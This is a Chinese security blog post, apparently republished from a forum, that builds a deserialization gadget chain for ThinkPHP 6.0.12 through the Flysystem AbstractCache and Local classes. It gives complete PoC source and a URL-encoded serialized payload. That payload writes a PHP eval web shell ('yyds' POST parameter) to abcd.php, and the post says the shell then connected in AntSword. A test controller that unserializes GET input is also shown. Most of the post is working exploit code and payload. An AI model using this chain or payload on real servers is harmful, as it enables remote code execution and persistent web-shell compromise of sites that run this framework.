查看原文
其他

ThinkPHP6.0.12LTS反序列化(getshell的poc链挖掘)

维生素泡腾片 WIN哥学安全 2023-04-23

tp框架6.0.12是LTS版本,长期维护,所以,值得多一些钻研,因此也是心血来潮尝试了一番,看到有师傅发了RCE的poc链,因为学习6.0.9的时候看到过getshell的,所以想着把这个版本的getshell也找一下,试着写了这个文章,请各位师傅多指点。

1.准备工作

thinkphp框架的源码都要用composer下载,虽然比复制粘贴步骤稍稍多一点,但是,也很方便
具体如何安装composer就不在这里赘述了,看这里学习即可https://www.phpcomposer.com/ (中国镜像站)

安装命令:composer create-project topthink/think tp6 6.0.12

如下图:安装完毕

2.找反序列化入口点

说到入口点,都是__destruct(),以此触发下一步函数的执行

如图所示,所有的可能目标如下图,但是注意:并不是入口目标只有下面几个,要知道下面有很多类都是抽象类
也就是说,真正的入口很大程度上是他们的子类等,这样看入口就多了很多。

先大概捋一遍,可以看到abstract class AbstractCache这个抽象类的析构方法中,调用了save方法
但是该抽象类中并没有save方法,也就是说,其实是子类调用了save方法

通过查找子类,找到下图:
搜索语句:extends AbstractCache

进一步发现这个Adapter有一个save方法,而且,看方法结构就基本上可以断定是一个写文件的操作。
重点是,adapter可控,且只需要保证has方法返回false即可。

3.确定链路

通过刚刚的链路继续跟进,因为adapter拥有write方法,我们要找到一个有write方法的类
当在可选范围中浏览的时候发现,class Local extends AbstractAdapter里的write方法,直接就调用写文件的函数了。

write函数解决了,整个链条应该就通顺了:
整体的调用流程如图所示:(大图更清晰)

4.构建poc链并实现getshell

入口部分如下:

//入口点位置:namespace League\Flysystem\Cached\Storage{ abstract class AbstractCache { //属性值为false,才可以调用该save方法 protected $autosave = false; // 一句话代码,也是最后写入文件的内容 protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];

protected $complete = [];

public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function __destruct()
{
//autoSave参数为false
if (! $this->autosave) {
$this->save();
}
}
}

use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;

class Adapter extends AbstractCache
{
//适配器,也就是我们要利用write方法的类
protected $adapter;
protected $expire = null;
//文件名,写入文件的文件名
protected $file = 'abcd.php';

public function __construct($local)
{
//方便生成的属性为local类对象,所以直接写到构造方法里了
$this->adapter = $local;
}

public function getForStorage()
{
//不用担心这个函数,它也没把我们的写入的内容怎么地
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete, $this->expire]);
}

public function save()
{
$config = new Config();//为了方便,这个参数可以随便写一下,
//但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不了)
$contents = $this->getForStorage();

if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}}

Local类的方法:

namespace League\Flysystem\Adapter{ abstract class AbstractAdapter { protected $pathPrefix; public function getPathPrefix() { return $this->pathPrefix; } public function applyPathPrefix($path) { return $this->getPathPrefix() . ltrim($path, '\\/'); } } class Local extends AbstractAdapter { protected $permissionMap; protected $writeFlags; public function has($path) { $location = $this->applyPathPrefix($path); return file_exists($location); } protected function ensureDirectory($root) { if ( ! is_dir($root)) { $umask = umask(0); if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) { $mkdirError = error_get_last(); } umask($umask); clearstatcache(false, $root); if ( ! is_dir($root)) { $errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : ''; throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage)); } } } public function write($path, $contents, $config)//这个$config的约定类型可以去掉,为了方便 { //这个调用是没所谓,$path就是传入的文件名,不过要确保文件名是否冲突,所以,每次调用,写入文件的文件名换一下 $location = $this->applyPathPrefix($path); $this->ensureDirectory(dirname($location)); if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) { return false; } //省略部分,后面的代码不影响结构,所以直接删掉了 } }}

然后获取poc

namespace{ use League\Flysystem\Adapter\Local; use League\Flysystem\Cached\Storage\Adapter; $local = new Local(); echo urlencode(serialize((new Adapter($local))));}

然后写一个控制器,调用反序列化:

public function testuns(){ unserialize(urldecode($_GET['yyds']));}

访问链接:

http://www.tpstudy6012.com/index.php/index/testuns?yyds=O%3A39%3A%22League%5CFlysystem%5CCached%5CStorage%5CAdapter%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00adapter%22%3BO%3A30%3A%22League%5CFlysystem%5CAdapter%5CLocal%22%3A3%3A%7Bs%3A16%3A%22%00%2A%00permissionMap%22%3BN%3Bs%3A13%3A%22%00%2A%00writeFlags%22%3BN%3Bs%3A13%3A%22%00%2A%00pathPrefix%22%3BN%3B%7Ds%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_POST%5B%27yyds%27%5D%29%3B%3F%3E%22%3B%7Ds%3A11%3A%22%00%2A%00complete%22%3Ba%3A0%3A%7B%7D%7D

执行结果如下:

蚁剑也能连接成

文章来源:https://xz.aliyun.com/t/11531

往期推荐

【懒人神器,批量SRC】Serein批量漏洞检测


神兵利器 | 2款红队渗透扫描利器

【2022HVV系列】蓝队手册更新版

【2022HVV系列】一次溯源过程复盘

【2022HVV系列】任意文件上传漏洞应急响应


2022HVV系列】应急响应入侵排查


2022HVV系列】一次真实应急响应复盘




网络安全人员必备线上工具箱

Github渗透测试工具库

一次HVV蓝队中级面试复盘

一款功能强大的自动化漏洞扫描&利用工具

最强Windows10渗透环境

奇安信HVV面试

【2022HVV系列】挖矿病毒应急响应




喜欢这篇推送,关注领取资料↓↓↓




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存